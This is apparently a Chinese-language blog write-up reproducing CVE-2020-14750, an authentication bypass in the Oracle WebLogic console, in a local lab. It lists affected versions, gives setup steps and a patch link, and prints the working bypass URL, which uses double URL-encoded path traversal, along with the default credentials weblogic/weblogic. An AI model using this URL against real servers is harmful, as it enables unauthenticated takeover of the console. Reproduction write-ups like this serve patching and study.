1. 程式人生 > 其它 >CVE-2020-14750 WebLogic許可權繞過漏洞復現

CVE-2020-14750 WebLogic許可權繞過漏洞復現

0x01 漏洞概述

Oracle Fusion Middleware(Oracle融合中介軟體)是美國甲骨文(Oracle)公司的一套面向企業和雲環境的業務創新平臺。該平臺提供了中介軟體、軟體集合等功能。

Oracle WebLogic Server Oracle Fusion Middleware Console 多版本存在安全漏洞,該漏洞是CVE-2020-14882 補丁的繞過,遠端攻擊者可以構造特殊的 HTTP 請求,在未經身份驗證的情況下接管 WebLogic Server Console ,從而執行任意程式碼。

0x02 影響版本

Oracle:Weblogic :

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

0x03 環境搭建

  • windows10 x64
  • jdk 1.8.0
  • WebLogic 12c

①下載weblogic 12c

  https://www.oracle.com/middleware/technologies/fusionmiddleware-downloads.html

②安裝weblogic 12c

  1. 使用jdk1.8開啟下載的fmw_12.1.3.0.0_wls.jar開始安裝

    安裝過程參考了部落格

    https://www.cnblogs.com/smile502/p/12784978.html

  2. 安裝完在目錄下執行startWebLogic.cmd

③啟動完畢後在瀏覽器訪問

  

0x04 漏洞復現

①觀察正常成功登陸的頁面URL(預設賬號密碼weblogic/weblogic)

  http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1

②構造URL繞過登陸

  http://127.0.0.1:7001/console/images/%252E./console.portal

  這裡的%252E是 . 二次url編碼的結果

  成功繞過登陸:

  

0x05 修復建議

  下載官方補丁進行修復

  https://www.oracle.com/security-alerts/alert-cve-2020-14750.html